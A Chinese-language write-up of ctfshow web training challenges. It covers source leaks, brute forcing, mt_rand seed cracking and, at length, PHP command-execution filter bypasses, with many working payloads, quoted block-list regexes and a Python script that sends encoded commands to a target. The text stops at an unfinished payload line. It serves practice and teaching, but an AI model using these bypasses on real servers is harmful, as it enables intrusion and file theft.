CTFSHOW_WEB入门
信息搜集
web1
直接看源代码
web2
禁用js后看源代码(或者直接在chrome的更多菜单里看)
web3
使用F12中的网络进行抓包,看到.ico文件中包含flag
web4
根据题目提示可以看出信息泄露在robots.txt中,打开后发现flag指向路径,进行定向即可得到flag
web5
根据题目提示可以得出突破点在phps源码文件泄露,对index.phps进行定向即可
web6
根据题目提示flag泄露在www.zip文件中,下载源码后得到flag文件在fl000g.txt文件中,在网站上定向文件即可得到flag
web7
根据题目提示flag泄露在版本管理中,尝试git泄露方向,直接访问url/.git/index.php即可得到flag
web8
根据题目提示flag泄露在版本管理中,尝试git泄露方向未能得出flag,再次尝试svn方向得到flag,直接访问url/.svn
svn
Apache Subversion 通常被缩写成 SVN,是一个开放源代码的版本控制系统,Subversion 在 2000 年由 Collab*** Inc 开发,现在发展成为 Apache 软件基金会的一个项目,同样是一个丰富的开发者和用户社区的一部分。
SVN相对于的RCS、CVS,采用了分支管理系统,它的设计目标就是取代CVS。互联网上免费的版本控制服务多基于Subversion。
web9
vim编辑器强制退出之后会有一个后缀名为swp的缓存文件
根据题目提示,服务器端在vim未进行:wq操作就被退出,所以对swp文件进行定向即可得到flag
url/index.php.swp
小总结
版本控制问题
git
svn
hg
对于此类题目应该比较敏感
对于信息泄露总结
网站备份信息泄露
.zip
.rar
.7z
.tar,gz
bak
.swp
.txt
···
版本控制信息泄露
.hg
.git
.svn
.DS_Store泄露
目录遍历
PHPinfo(PHP探针)
vim缓存
web10
对cookie进行分析即可,可以下载chrome插件进行辅助分析
web11
DNS的txt记录,使用cmd即可进行查询
nslookup -q=TXT 网址
本题即可使用
nslookup -q=TXT flag.ctfshow.***
web12
进入网站发现是一个模板,因为题目描述是需要进入一个认证界面,所以尝试直接在地址后面填写admin字样(纯蒙的),然后出现登录提示,在网页中查找类似密码的字样,发现页面最后有一串数字很可疑,并且在点到其他链接之后这个数字会变成模板自带的数字(你这修改痕迹很明显嘛(?
随后尝试用户名与密码
user:admin
Password:页面底端那串数字
顺利得到flag
web13
根据题目提示可知在网页中的技术文档中存在泄露的信息,于是在网页中查找是否有类似文档的东西,在页尾发现documents字样,点进去之后可以下载一个pdf文件,第二页中含有admin的登陆地址和账号密码
web14
有时候源码里面就能不经意间泄露重要(editor)的信息,默认配置害死人
根据题目提示,尝试在网站后面加上editor,然后被定向到了一个在线编辑代码的界面,随后根据题目第二个提示
小0day:某编辑器最新版默认配置下,如果目录不存在,则会遍历服务器根目录
于是尝试在编辑器中调出文件目录,遂找到插入按钮,点进去之后果然进入到了服务器的目录,对目录进行遍历找到了fl00g.txt,随后在url中直接进行调取即可得到flag
web15
说实话做到这里我开始有点吃力了
题目提示:
公开的信息比如邮箱,可能造成信息泄露,产生严重后果
进入网页,检查敏感信息,发现网页尾有一个邮箱,然后别的东西就再找不到了,再次查看提示发现需要将url定向到/admin页面,查看到了忘记密码界面,密保是admin所在的地区,根据qq号查找admin地区在西安,填入之后admin密码就被重置掉了,使用新的密码进行登录即可得到flag
web16
找探针 url/tz.php
web17
题目描述:
备份的sql文件会泄露敏感信息
于是对文件进行定向,尝试backup.sql后使用vscode打开即可得到flag
web18
题目描述:
不要着急,休息,休息一会儿,玩101分给你flag
不会真的有人去玩到101分吧
看到靶场里有一个flappy bird ,对靶场进行抓包之后得到实现这个程序的js文件,对js文件进行分析可以得到在游戏成功到达101分后会有一串unicode的编码
\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b
对其进行解码
你赢了,去幺幺零点皮爱吃皮看看
好好好又整这么抽象的活是吧
对110.php进行定向即可得到flag
web19
题目描述
密钥什么的,就不要放在前端了
可以得出密钥会在前端的某个位置,对网站进行源代码查看发现以下可疑代码
<script type="text/javascript">
function checkForm(){
var key = "0000000372619038";
var iv = "ilove36dverymuch";
var pazzword = $("#pazzword").val();
pazzword = encrypt(pazzword,key,iv);
$("#pazzword").val(pazzword);
$("#loginForm").submit();
}
function encrypt(data,key,iv) { //key,iv:16位的字符串
var key1 = CryptoJS.enc.Latin1.parse(key);
var iv1 = CryptoJS.enc.Latin1.parse(iv);
return CryptoJS.AES.encrypt(data, key1,{
iv : iv1,
mode : CryptoJS.mode.CBC,
padding : CryptoJS.pad.ZeroPadding
}).toString();
}
</script>
<!--
error_reporting(0);
$flag="fakeflag"
$u = $_POST['username'];
$p = $_POST['pazzword'];
if(isset($u) && isset($p)){
if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){
echo $flag;
}
}
-->
</html>
可以得知密码的用户名是admin,但是密码明显被加密过,可以看出是aes加密,使用脚本进行解密
# 导入加密相关的包
import base64
import hashlib
from Crypto import Random
from Crypto.Cipher import AES
# 定义密钥和初始向量
key = "0000000372619038"
iv = "ilove36dverymuch"
# 将密钥和初始向量转换为二进制格式
secret_key = hashlib.sha256(key.encode()).digest()
iv = iv.encode()
# 创建解密器
cipher = AES.new(secret_key, AES.MODE_CBC, iv)
# 获取加密后的密码
encoded_pazzword = "a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04"
# 对加密后的密码进行解密
encrypted_pazzword = base64.b64decode(encoded_pazzword)
decrypted_pazzword = cipher.decrypt(encrypted_pazzword)
# 将解密后的密码转换为字符串
original_pazzword = decrypted_pazzword.decode()
# 输出解密后的密码
print("Decrypted password: " + original_pazzword)
解密后的密码
i_want_a_36d_girl
。。。 6
登陆后即可得到flag
web20
mdb文件是早期asp+a***ess构架的数据库文件,文件泄露相当于数据库被脱裤了。
对靶场的db/db.mdb进行定向后使用txt打开查找关键词即可得到静态flag
flag{ctfshow_old_database}
爆破
那么说到爆破的话就要祭出我们的老祖宗–burpsuite
了,接下来的大多数操作都是通过这个工具来进行的
web21
题目描述
爆破什么的,都是基操
同时给了一个字典,进入靶场之后可以看到认证窗口
使用burp自带浏览器,对url进行访问,随便输入用户名和密码后进行抓包得到以下结果
发送到intruder中进行选框(这玩意是手动加的!!)
发现密钥使用了base64编码,进行解密后可以发现格式如下:
user:password
接下来进行配置payload
先将题目给的字典导入到payload中
随后对发送报文的格式进行编辑
由于密码使用了base64编码进行加密,所以我们的payload也需要使用base64进行加密,于是需要在payload processing里进行base64的encode,又因为我们已经知道了用户名是admin,所以我们要加一个前缀
admin:
因为base64的== 可能会影响编解码,所以我们要把下面的payload encoding的URL-encode these characters选项关闭
随后开启爆破即可
可以看到有一个通的,这个就是密码,进行解密后填入账密即可得到flag
web22
子域名爆破
虽然这道题题目炸了但是还是可以学到很多知识的,有关于子域名爆破的笔记已经整理到文件所在目录的markdown里
web23
题目描述:
还爆破?这么多代码,告辞!
靶场给出了一段php代码
<?php
/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-09-03 11:43:51# @Last Modified by: h1xa# @Last Modified time: 2020-09-03 11:56:11# @email: h1xa@ctfer.***# @link: https://ctfer.***
*/
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
这段代码的目的是通过一系列的条件检查来保护 flag.php
文件中的 $flag
变量。只有当满足所有条件时,才会显示 $flag
。否则,它将显示源代码。
那么我们现在要做的就是穷举token直到token符合题目条件
在原有的脚本上面稍加修改一下
<?php
$token='123';
while (true){
$t=$token;
$token=md5($token);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
$divisor = intval(substr($token, 1,1));
if($divisor != 0 && (intval(substr($token, 1,1))+intval(substr($token, 14,1))+intval(substr($token, 17,1)))/$divisor===intval(substr($token, 31,1))){
echo "over!"."<br>";
echo $t;
break;
}
}
}
highlight_file(__FILE__);
?>
输出结果:
over!<br>c3d050f04e1a0b88b561182c9236833f<code><span style="color: #000000">
<br /></span>
</span>
</code>
那串字符就是这道题对应的token,在地址栏里输入url/?token=c3d050f04e1a0b88b561182c9236833f
即可得到flag
web24
进入靶场之后可以看到一段代码
<?php
/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-09-03 13:26:39# @Last Modified by: h1xa# @Last Modified time: 2020-09-03 13:53:31# @email: h1xa@ctfer.***# @link: https://ctfer.****/
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
?>
Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (g*** version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (g*** version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023
在这个代码中,flag.php
文件的内容只有在满足特定条件的情况下才会被显示。具体来说,需要提供一个 r
参数,使得其整数值等于一个固定的随机数。这个随机数是通过 mt_rand()
函数生成的,但是由于在生成随机数之前设置了随机数生成器的种子 mt_srand(372619038)
,所以这个随机数是固定的。也就是说,每次运行这段代码时,mt_rand()
函数都会返回相同的随机数,也就是伪随机数,写一份脚本
<?php
mt_srand(372619038);
echo intval(mt_rand());
?>
r=1155388967
url/?r=1155388967即可得到flag
web25
进入靶场之后可以看到一段代码
<?php
/# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-09-03 13:56:57# @Last Modified by: h1xa# @Last Modified time: 2020-09-03 15:47:33# @email: h1xa@ctfer.***# @link: https://ctfer.****/
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
#Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (g*** version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) 180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (g*** version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) 180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023
这段代码的目的是需要找到一个特定的 r
参数和 token
cookie才会显示 $flag
,需要提供一个 r
参数和一个 token
cookie,使得它们满足以下条件:
-
r
参数的整数值等于一个固定的随机数。这个随机数是通过对$flag
变量进行MD5哈希,然后取哈希的前8个字符,将其从十六进制转换为十进制,然后种子传递给mt_srand()
函数,最后通过mt_rand()
函数生成的。 -
token
cookie的值等于两个随机数的和。这两个随机数是通过mt_rand()
函数生成的。
先对r参数进行测试,输入url/?r=0,可以得到r参数的相反数,随后使用一个新工具–php_mt_seed进行破解
$ ./php_mt_seed r=0后得到的数组
随后开始获取cookie,收个回应报头先
由于服务器对应php版本是7.3.11,所以我们seed值取2657120068(每一次开靶场都不一样),随后使用以下脚本对seed进行解密
<?php
error_reporting(0);
mt_srand(2657120068);
echo mt_rand();
echo "===";
echo(mt_rand()+mt_rand());
?>
输出 594406994===2637184074
前面是r值,后面是cookie值
对发送请求进行修改
随后即可得到flag
web26
对安装界面进行抓包就好了
web27
先对靶场进行信息收集,可以查询到一个表格,里面有姓名和隐藏日期的身份证号
随后任选其一,进入学籍查询系统,将姓名填入,密码填入后抓包
可以看到最后一行明文传输用户名和密码,由于身份证格式的问题,所以只需要在*处对日期进行爆破即可,配置payload如下
进行爆破后可以看到19900201项length不同,进行查询即可得到账密,登录即可得到flag
web28
文件目录爆破
进入靶场之后进行了重定向,定向到了url/0/1/2.txt,尝试删除.txt发现重定向变成了死循环,无法打开网页,删除2.txt后收到403回应,于是可以确定题目方向为目录爆破,使用burpsuite的集束炸弹模式,设置两个payload型为number,设定范围(0-100)以及step(1)进行爆破后会在一群403中看到一个200,查看回应报文即可得到flag
命令执行
web29
进入靶场,看到网页运行源代码
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这串代码是一个PHP脚本,用于接收一个名为c的GET参数,并将其作为PHP代码执行
判断是否存在c参数,如果存在,就将其赋值给变量 $c
。
使用正则表达式检查 $c
中是否包含flag字符串,如果不包含,就调用eval()函数执行 $c
中的代码。
eval()函数是一个PHP语言结构,可以将一个字符串作为PHP代码来执行。
如果不存在c参数,就使用highlight_file()函数显示当前文件的源代码。highlight_file()函数是一个PHP内置函数,可以将一个文件的PHP代码以高亮显示的方式输出。
这道题的关键在于eval()函数,它可以将一个字符串作为php代码执行,于是可以进行php注入
先调用操作系统函数ls对其目录进行扫描
url/?c=system("ls")
发现文件中有flag.php,但是并不能对其直接进行定向,因为之前的代码过滤已经过滤掉了flag字样,当出现flag字符串之后就会被屏蔽掉,那么我们就不能那么直白的对flag进行定向
那么就要用上我们的通配符了
通配符是一类键盘字符。
当查找文件夹时;当不知道真正字符或者不想键入完整名字时,常常使用通配符代替一个或多个真正字符。
星号(*)
可以使用星号代替零个、单个或多个字符。如果正在查找以AEW开头的一个文件,但不记得文件名其余部分,可以输入AEW*,查找以AEW开头的所有文件类型的文件,如AEWT.txt、AEWU.EXE、AEWI.dll等。要缩小范围可以输入AEW*.txt,查找以AEW开头的所有文件类型并.txt为扩展名的文件如AEWIP.txt、AEWDF.txt。
问号(?)
可以使用问号代替一个字符。如果输入love?,查找以love开头的一个字符结尾文件类型的文件,如lovey、lovei等。要缩小范围可以输入love?.doc,查找以love开头的一个字符结尾文件类型并.doc为扩展名的文件如lovey.doc、loveh.doc。
通配符包括星号“*”和问号“?”
星号表示匹配的数量不受限制,而后者的匹配字符数则受到限制。这个技巧主要用于英文搜索中,如输入““***puter*”,就可以找到“***puter、***puters、***puterised、***puterized”等单词,而输入“***p?ter”,则只能找到“***puter、***pater、***peter”等单词。
那么这道题就有两种解法
解法一:url/?c=system(“tac fla?.php”);(输入之后引号和空格会自动变成utf-8形式)
解法二:url/?c=system(“tac fla*”);
cat:连接多个文件并打印到标准输出。
tac:连接多个文件并以行为单位反向打印到标准输出。
随后出现flag
其实cat也不是不能获取,就是这道题很狗,人家把flag放到了最下面,前面都用空格然后超过了显示长度导致cat第一眼看不见,可以试着进源代码,这样就能看见了
web30
这道题的解题方法可以继承到上一道题中
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这道题将system命令过滤了,所以我们就无法将上一道题的方法继承下来了
但是就只需要换一个思路就能解出来这道题,我们可以猜到flag肯定还在老地方,我们只需要更改一下?c的参数即可
改成这样
url/?c=echo 'tac fla*';
很好,flag成功出来了
$c = “echo tac fla*
”;
- 使用eval()函数来执行$c中的代码,eval()函数是一个PHP语言结构,可以将一个字符串作为PHP代码来执行。例如:
eval(“echo tac fla*
”);
- 使用echo语句来输出一个反引号中的命令的结果,反引号是一种命令替换的方式,可以先执行反引号中的命令,然后将输出结果替换到原来的位置。例如:
echo tac fla*
;
这个命令的含义是使用tac命令来反向显示以fla开头的文件的内容,tac命令是cat命令的反向版本,可以将文件的内容从最后一行开始显示,这样可以绕过一些过滤规则
web31
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
不留活路是吧(怒)
你不让我在?c里面干这些事情那我就再定义一个变量,在另外一个变量里面执行操作,我看你还管不管得到我
url/?c=eval($_GET[a]);&a=system('tac flag.php');
这下我都能不装了摊牌了,老子就是要你的flag你给我不给我拿吧
web32
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这串代码的过滤条件有点多,那么我们就不在get方法中读取flag,而是在post方法中读取
那么我们首先要将c变量构建出来,因为禁用了分号,所以我们要想一个方法能不用分号就能进行php代码的执行,查询得知php的include函数在执行时不需要分号的间隔,所以c的参数如下
payload:?c=include$_POST[1]?>
接下来就到了我们给post传参的时候了,由于代码过滤了php,所以我们要想办法混淆代码,于是使用convert.base64-encode方法对1进行传参
postdata:1=php://filter/read=convert.base64-encode/resource=flag.php
随后对flag进行base64解码即可
web33
方法同上
web34
同上
web35
同上
web36
大体同上,但是因为过滤器过滤了1-9,所以把我之前的get的payload的变量值改成字母就行
web37
这道题直接将flag、i字符给ban掉了,那么我们的payload中就不能出现这两个字符串,我们可以先使用base64对我们要传参到c的函数进行加密,再使用php自带的方法对其在程序运行时进行解密从而绕过字符串匹配操作
实现这种操作的方法叫做php伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
payload:?c=data://text/plain;base64,PD9waHAg***N5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=
?c=data://text/plain -> 数据流构造器,将后面的字符串作为数据流进行传参
Base64->PD9waHAg***N5c3RlbSgidGFjIGZsYWcucGhwIikKPz4= –encode–>
<?php
system("tac flag.php")
?>
实质上还是向eval中传参,只是一直在耍花活进行绕过
web38
同上
web39
终于不是再往eval函数中传参了
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
使用类似上题的思路,但是需要把.php过滤掉,最简单粗暴的方式就是使用?>截断代码
payload:?c=data://text/plain,<?=system("tac%20flag.php");?>
注意:不能使用payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pi8v
(base64解码内容:<?php system("tac flag.php");?>//
)的原因这个问题主要是data://text/plain这个字段的原因,这个字段的话后面跟的就是纯文本,有一个base64字段(自查)后面跟的就是base64编码后的了,在传入的时候会自动解码
web40
限制条件:
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
进行代码审计
首先可以看到限制条件中的括号是中文的,字母 、_ 、和 ;也没有被调用,意味着我们的各种函数仍然是可以继续进行调用的,在进行函数调用之前我们先学习几个这道题需要用到的函数体
scandir() 打印当初路径下文件的函数
localeconv() 返回一包含本地数字及货币格式信息的数组xxxxxxxxxx
current() 函数返回数组中的当前元素(单元),默认取第一个值,
pos() 同 current() ,是current()的别名
reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE
array_reverse() 返回翻转顺序的数组
进行函数构建
首先我们要想办法获取到flag所在的文件地址,在代码没有被过滤的时候一般使用 print_r(scandir('.'))
进行调用,但是很明显单引号和小数点已经过滤了,这里要先想办法绕过
最简单的方法是利用函数传参,那就找当前能用包含小数点的函数
localeconv()
实例代码:
//查找美国本地的数字格式化信息:
<?php
setlocale(LC_ALL,"US");
$locale_info = localeconv();
print_r($locale_info);
?>
输出结果:
Array ( [decimal_point] => . [thousands_sep] => , [int_curr_symbol] => USD [currency_symbol] => $ [mon_decimal_point] => . [mon_thousands_sep] => , [positive_sign] => [negative_sign] => - [int_frac_digits] => 2 [frac_digits] => 2 [p_cs_precedes] => 1 [p_sep_by_space] => 0 [n_cs_precedes] => 1 [n_sep_by_space] => 0 [p_sign_posn] => 3 [n_sign_posn] => 0 [grouping] => Array ( [0] => 3 ) [mon_grouping] => Array ( [0] => 3 ) )
将localeconv函数加入到上面函数体中
print_r(scandir(localeconv()[0]))
但是我们可以看到[]已经被过滤,所以上面的函数体不能直接利用
因为localeconv函数本质上生成的是一个数组,所以我们可以通过函数 current()
对数组中的元素进行调取(pos和reset也都可以用)
在这里使用current方法进行解题
对当前目录所对应的数组值进行打印:
print_r(scandir(current(localeconv())));
可以看到flag所在文件在数组的第三位(最后一位)
使用array_reverse()对数组进行转置
最终payload:
?c=highlight_file (next(array_reverse(scandir(current(localeconv())))));
web41
捏吗的全给我过滤了
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符,于是我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
出题人写了个脚本
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") # 没有将php写入环境变量需手动运行
if (len(argv) != 2):
print("=" * 50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("=" * 50)
exit(0)
url = argv[1]
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("rce_or.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your ***mand:"))
data = {
'c': urllib.parse.unquote(param)
}
r = requests.post(url, data=data)
print("\n[*] result:\n" + r.text)
大体意思就是 从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
用法:python exp.py
然后你就传参吧
一传一个不吱声
先对网站进行ls
然后tac文件
web42
看源代码
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
这道题的关键点在 >/dev/null 2>&1
这里默认情况是1,也就是等同于 1>/dev/null 2>&1
。意思就是把标准输出重定向到null中,还把错误输出2重定向到标准输出1,也就是标准输出和错误输出都进了null中
那么我们就需要传参两个参数对null进行绕过
payload:?c=tac f*;1145141919810
这样就可以进行执行系统命令了
web43
类似的null黑洞
但是ban掉了 /\;|cat/i
那么就替换一下分号变成&&
直接运行是会炸掉的,因为&&等表示两个参数的分隔符要用url编码,不然没有回显
web44
同上
web45
这道题对空格进行了过滤,也就是url编码中的%20是没有办法用的
但是,tab=space
所以我们可以用tab对空格进行替换
payload:?c=tac%09f*%26%26ls
web46
过滤条件:
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c))
*被过滤了,换成fla?.php就好,不知道为什么就去学通配符
payload:?c=tac%09fla?.php%26%26ls
web47
过滤条件:
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c))
不影响,还用上一题的paylad
web48
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c))
payload同上
web49
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c))
同上
web50
过滤条件:
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c))
通过之前我们的学习可以得知
x09=tab x26=&&
所以我们之前的payload也随之失效了
<>也可当空格用
‘’暂时没有理解
payload:?c=tac<>fla''g.php||ls
web51
payload:?c=ta''c<>fla''g.php||ls
web52
过滤条件:
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c))
把tac加入到过滤条件了
但是还是可以用‘’进行绕过
payload1:?c=ta''c${IFS}fla''g.php||ls
过滤条件是过去了,但是并没有直接输出flag,开始对目录进行扫描
payload2:?c=ls||ta''c${IFS}fla''g.php
发现仍然只有这两个文件,不如对根目录进行ls
payload3:?c=ls${IFS}/||ta''c${IFS}fla''g.php
发现flag项,对根目录下的flag文件进行读取
payload4:?c=ta''c${IFS}/fla''g||ls
得手
web53
同上
web54
过滤条件:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
中间加上了*,那么就说明我们之前的‘’绕过失效了
先想办法构建payload
这次的过滤条件中没有黑洞了,所以我们不需要传入两个参数了,只需要想办法对flag进行读取即可
这道题我们可以通过直接访问bin目录中的系统命令对flag文件进行读取
payload1:?c=/bin/cat flag
接下来就是对字符串的绕过
还记得我们之前学过的“?”吗
?问号,匹配任意一个字符,只能代替一个
骚操作开始
payload2:?c=/???/c??${IFS}????.???
究极绕过(
web55
过滤条件:
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c))
过滤了字母,但是没有过滤数字和空格
payload:?c=/???/????64 ????.???
web56
过滤条件:
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c))
把所有的字母和数字都过滤掉了,无字母数字RCE
尝试进行文件上传
简单写一个html
<!DOCTYPE html>
<html lang="">
<body>
<form action="url" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
随后在本地搭建环境,使用burp对上传文件的post进行抓包(随便上传一个空文件,这里我上传的是一个1.txt)
随后对payload进行修改
tac flag.php
由于源代码中使用的是get方法获取c的值,所以我们直接post一个c的参数
?c=.%20/???/????????[@-[]
flag成功获取
web57
源码:
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
全都捏妈妈的给我过滤掉了
linux中的$有能够进行运算的作用,这道题中说明了flag文件名为 36.php
那么我们就可以想办法进行运算从而对c进行无数字赋值
data = "$((~$(("+"$((~$(())))"*37+"))))"
#要求36那么我们就需要在数字位填写36+1
print(data)
输出结果:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
payload:?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
传参进去之后看源代码即可
web58
查看源代码发现使用了post方法进行传参,但是直接传入 system("tac f*")
后会报错
**Warning**: system() has been disabled for security reasons in **/var/www/html/index.php(17) : eval()'d code** on line **1**
说明system方法被ban掉了,那么就要想办法在eval方法中使用除了system方法的函数对flag进行获取
还记得之前的web40吗
使用数组方法对文件目录下的文件列出(为了省事我就不去重新构造函数体了)
post:c=print_r(scandir(current(localeconv())));
可以看到flag所在文件在数组的第三位(最后一位)
使用array_reverse()对数组进行转置
最终payload:
